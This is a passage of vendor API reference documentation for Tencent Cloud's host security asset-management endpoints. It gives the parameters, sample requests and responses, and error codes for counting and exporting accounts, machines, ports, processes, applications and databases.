Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Optional sorting method: [FirstTime|LoginTime|ChangePasswordTime|PasswordDuaTime] PasswordLockDays

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	ID of asynchronous download task. It is used together with ExportTasks API.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the Account List

Input Example

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```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetUserList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "1693599e-ff8f-4a8c-ae39-b4d9ba3ae9bf",
"TaskId": "11"
}
}
```

5. Developer Resources

SDK

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.DateRange	Incorrect time range format.

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DescribeAssetUserCount

Last updated：2024-12-06 15:42:00

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the total number of accounts.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetUserCount.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Name	No	String	Search criteria: Search all account lists containing the name in the name.

3. Output Parameters

Parameter Name	Type	Description

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Users	Array of AssetKeyVal	Number of accounts
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Number of All Accounts

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetUserCount
<Common request parameters>

{
"Name": "xx"
}
```

Output Example

```
{
"Response": {
"Users": [
{
"Key": "staff",
"Value": 10,
"Desc": "none",
"NewCount": 20
}
],
"RequestId": "24c9be55-c743-4a75-a5c7-2a2912341234"
}
}
```

5. Developer Resources

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SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportAssetMachineList

Last updated：2024-12-06 15:41:39

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of resource monitoring.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetMachineList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Filter criteria • IP - String - Required: No - Host IP • MachineName - String - Required: No - hostname • InstanceID - string - Required: No - Instance ID • OsType - String - required: no - Windows or Linux • CpuLoad - Int - required: no - 0: 0% or unknown; 1: 0% to 20% 2: 20%～50% 3: 50%～80% 4: 80%～100%

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			• DiskLoad - Int - required: no - 0: 0% or unknown; 1: 0% to 20% 2: 20%～50% 3: 50%～80% 4: 80%～100% • MemLoad - Int - required: no - 0: 0% or unknown; 1: 0% to 20% 2: 20%～50% 3: 50%～80% 4: 80%～100%
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Optional sorting method [FirstTime|PartitionCount]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download of task ID, to be used with the ExportTasks API
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Resource Monitoring List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetMachineList
<Common request parameters>

{}
```

Output Example

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```
{
"Response": {
"RequestId": "65ce6db8-a914-4349-a8b9-d756236686d2",
"TaskId": "1"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportAssetMachineDetail

Last updated：2024-12-06 15:41:39

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export asset management host resource details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetMachineDetail.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Server QUUID
Uuid	Yes	String	Server UUID

3. Output Parameters

Parameter Name	Type	Description

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DownloadUrl	String	Download link
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the Asset Management Host Resource Details

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetMachineDetail
<Common request parameters>

{
"Quuid": "xx",
"Uuid": "xx"
}
```

Output Example

```
{
"Response": {
"DownloadUrl": "qq.com",
"RequestId": "24c9be55-c743-4a75-a5c7-2a2912341234"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetPortCount

Last updated：2024-12-06 15:42:04

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the total number of ports.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetPortCount.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Port	No	Integer	Search criteria: Return the data of specified port numbers.

3. Output Parameters

Parameter Name	Type	Description
Ports	Array of	Number of processes

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	AssetKeyVal	
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Quantity of All Ports

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetPortCount
<Common request parameters>

{
"Port": "1"
}
```

Output Example

```
{
"Response": {
"Ports": [
{
"Value": 101,
"Key": "value1",
"Desc": "idesc",
"NewCount": 0
}
],
"RequestId": "24c9be55-c743-4a75-a5c7-2a2912341234"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportAssetPortInfoList

Last updated：2024-12-06 15:41:38

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of asset management ports.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetPortInfoList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query information of a specified QUUID host
Filters.N	No	Array of Filter	Filter criteria • Port - uint64 - required: no - port • Ip - String - required: no - bound IP address • ProcessName - String - required: no - process name • Pid - uint64 - required: no - PID • User - String - required: no - running user • Group - String - required: no - user group • Ppid - uint64 - required: no - PPID

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			• Proto - string - required: no - tcp/udp or "" (empty string to filter unknown status) • OsType - uint64 - required: no - Windows/Linux • RunTimeStart - String - required: no - running start time • RunTimeEnd - String - required: no - running end time
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method: [FirstTime|StartTime]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download of task ID, to be used with the ExportTasks API
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Asset Management Port List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetPortInfoList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"TaskId": "07a92740-5e54-4ea6-9320-c6fc3f3a1121",
```

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```
"RequestId": "07a92740-5e54-4ea6-9320-c6fc3f3a1122"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetProcessCount

Last updated：2024-12-06 15:42:03

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the total number of processes.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetProcessCount.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Name	No	String	Search criteria: Search and return a list of all process names containing Name.

3. Output Parameters

Parameter Name	Type	Description

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Process	Array of AssetKeyVal	Number of individual processes Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Getting Total Number of Processes

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetProcessCount
<Common request parameters>

{
"Name": "xx"
}
```

Output Example

```
{
"Response": {
"Process": [
{
"Key": "key1",
"Value": 10,
"Desc": "desc of key1",
"NewCount": 0
}
],
"RequestId": "e5b4724c-49af-46ab-bd84-cdbae897e7e0"
}
}
```

5. Developer Resources

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SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeProcessStatistics

Last updated：2024-12-06 15:41:44

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the process statistics data.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeProcessStatistics.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Quantity of returns. It is 10 by default, and the maximum value is 100.
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filter criteria • ProcessName - String - required: no - process name

3. Output Parameters

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Parameter Name	Type	Description
TotalCount	Integer	Total number of records in the process statistics list
ProcessStatistics	Array of ProcessStatistics	Array of list of counted processes
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List Data of Process Statistics

This example shows you how to obtain the list data of process statistics.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeProcessStatistics
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"ProcessStatistics": [
{
"ProcessName": "nginx",
"MachineNum": 10
}
],
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"TotalCount": 100
}
}
```

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportAssetProcessInfoList

Last updated：2024-12-06 15:41:37

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the asset management process list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetProcessInfoList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query information of a specified QUUID host
Filters.N	No	Array of Filter	Filter criteria • Name - String - whether required: no - process name • User - String - whether required: no - Process user • Group - String - whether required: no - Process user group • Pid - uint64 - whether required: no - process ID • Ppid - uint64 - whether required: no - parent process ID • OsType - uint64 - whether required: no - windows/Linux • Status - string - whether required: no - process status: 0: all

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			1: R executable 2: S interruptible 3: Uninterruptible • RunTimeStart - String - whether required: no - start time of running • RunTimeEnd - String - whether required: no - end time of running • InstallByPackage - uint64 - whether required: no - whether to install via a package: 0 - no; 1 - yes
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method: [FirstTime|StartTime]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download of task ID, to be used with the ExportTasks API
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the List of Asset Management Process

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetProcessInfoList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
```

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```
"TaskId": "07a92740-5e54-4ea6-9320-c6fc3f3a1122",
"RequestId": "07a92740-5e54-4ea6-9320-c6fc3f3a1121"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetAppCount

Last updated：2024-12-06 15:42:13

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the number of all software applications.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetAppCount.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Name	No	String	Search criteria: Search for processes of all software whose names contain Name and return a list.

3. Output Parameters

Parameter Name	Type	Description

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Apps	Array of AssetKeyVal	Number of software applications Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Quantity of All Software Applications

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetAppCount
<Common request parameters>

{
"Name": "xx"
}
```

Output Example

```
{
"Response": {
"Apps": [
{
"Key": "key1",
"Value": 10,
"Desc": "desc of key1",
"NewCount": 0
}
],
"RequestId": "07a92740-5e54-4ea6-9320-c6fc3f3a1121"
}
}
```

5. Developer Resources

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SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportAssetAppList

Last updated：2024-12-06 15:41:42

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of asset management applications.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetAppList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query information of a specified QUUID host
Filters.N	No	Array of AssetFilters	Filter criteria • AppName - string - required: no - application name for search • IP - String - required: no - host IP address • MachineName - String - required: no - host name • InstanceID - string - required: no - instance ID • Type - int - required: no - type : Linux only 0: all

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			1: operations 2: database 3: Security 4: suspicious application 5: system architecture 6: system application 7: web service 99: other • OsType - uint64 - required: no - Windows/Linux
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting field: [FirstTime|ProcessCount]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download of task ID, to be used with the ExportTasks API
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Asset Management Application List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetAppList
<Common request parameters>

{}
```

Output Example

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```
{
"Response": {
"RequestId": "65ce6db8-a914-4349-a8b9-d756236686d1",
"TaskId": "1"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.

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InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeAssetDatabaseCount

Last updated：2024-12-06 15:42:10

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the number of all databases.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetDatabaseCount.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Name	No	String	Search criteria: Return a list of databases whose names contain Name.

3. Output Parameters

Parameter Name	Type	Description

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Databases	Array of AssetKeyVal	Number of obtained database assets
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Number of All Databases

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetDatabaseCount
<Common request parameters>

{
"Name": "xx"
}
```

Output Example

```
{
"Response": {
"Databases": [
{
"Key": "mysql",
"Value": 1,
"Desc": "mysql 5.7",
"NewCount": 0
}
],
"RequestId": "07a92740-5e54-4ea6-9320-c6fc3f3a1121"
}
}
```

5. Developer Resources

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SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportAssetDatabaseList

Last updated：2024-12-06 15:41:41

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of asset management databases.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetDatabaseList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of AssetFilters	Filtering criteria • User- string - required: no - running user • Ip - String - required: no - bound IP address • Port - Int - required: no - port • Name - Int - required: no - database name 0: all 1:MySQL 2:Redis 3:Oracle 4:MongoDB

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			5:MemCache 6:PostgreSQL 7:HBase 8:DB2 9:Sybase 10:TiDB • Proto - String - required: no - protocol: 1: TCP; 2: UDP; 3: unknown • OsType - String - required: no - operating system: Linux/Windows
Quuid	No	String	Query the information on the host with the specified QUUID
Order	No	String	Sorting order: asc for ascending or desc for descending
By	No	String	Sorting method: [FirstTime]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download of task ID, to be used with the ExportTasks API
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the Asset Management Database List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetDatabaseList
<Common request parameters>

{}
```

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Output Example

```
{
"Response": {
"TaskId": "1",
"RequestId": "07a92740-5e54-4ea6-9320-c6fc3f3a1121"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeAssetWebAppCount

Last updated：2024-12-06 15:41:58

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the number of all web applications.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetWebAppCount.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Name	No	String	Search criteria: Return a list of all Web applications containing Name.

3. Output Parameters

Parameter Name	Type	Description

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WebApps	Array of AssetKeyVal	Number of individual Web applications
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining All Web Applications

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetWebAppCount
<Common request parameters>

{
"Name": "xx"
}
```

Output Example

```
{
"Response": {
"WebApps": [
{
"Key": "php",
"Value": 1,
"Desc": "php v1",
"NewCount": 0
}
],
"RequestId": "07a92740-5e54-4ea6-9320-c6fc3f3a1121"
}
}
```

5. Developer Resources

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SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportAssetWebAppList

Last updated：2024-12-06 15:41:35

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of asset management Web applications.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetWebAppList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query the information on the host with the specified QUUID
Filters.N	No	Array of Filter	Filtering criteria • Name - String - required: no - application name • Domain - String - required: no - site domain name • Type - int - required: no - service type: 0: all 1:Tomcat 2:Apache 3:Nginx 4:WebLogic

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			5:Websphere 6:JBoss 7:Jetty 8:IHS 9:Tengine • OsType - String - required: no - Windows/Linux
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method: [FirstTime|PluginCount]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download of task ID, to be used with the ExportTasks API
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting List of Asset Management Web Applications

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetWebAppList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
```

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```
"RequestId": "07a92740-5e54-4ea6-9320-c6fc3f3a1121",
"TaskId": "1"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetWebServiceCount

Last updated：2024-12-06 15:41:53

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the number of all web services.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetWebServiceCount.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Name	No	String	Search criteria: Return a list of all Web services containing Name in the name.

3. Output Parameters

Parameter Name	Type	Description

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WebServices	Array of AssetKeyVal	Number of web services
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Quantity of All Web Services

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
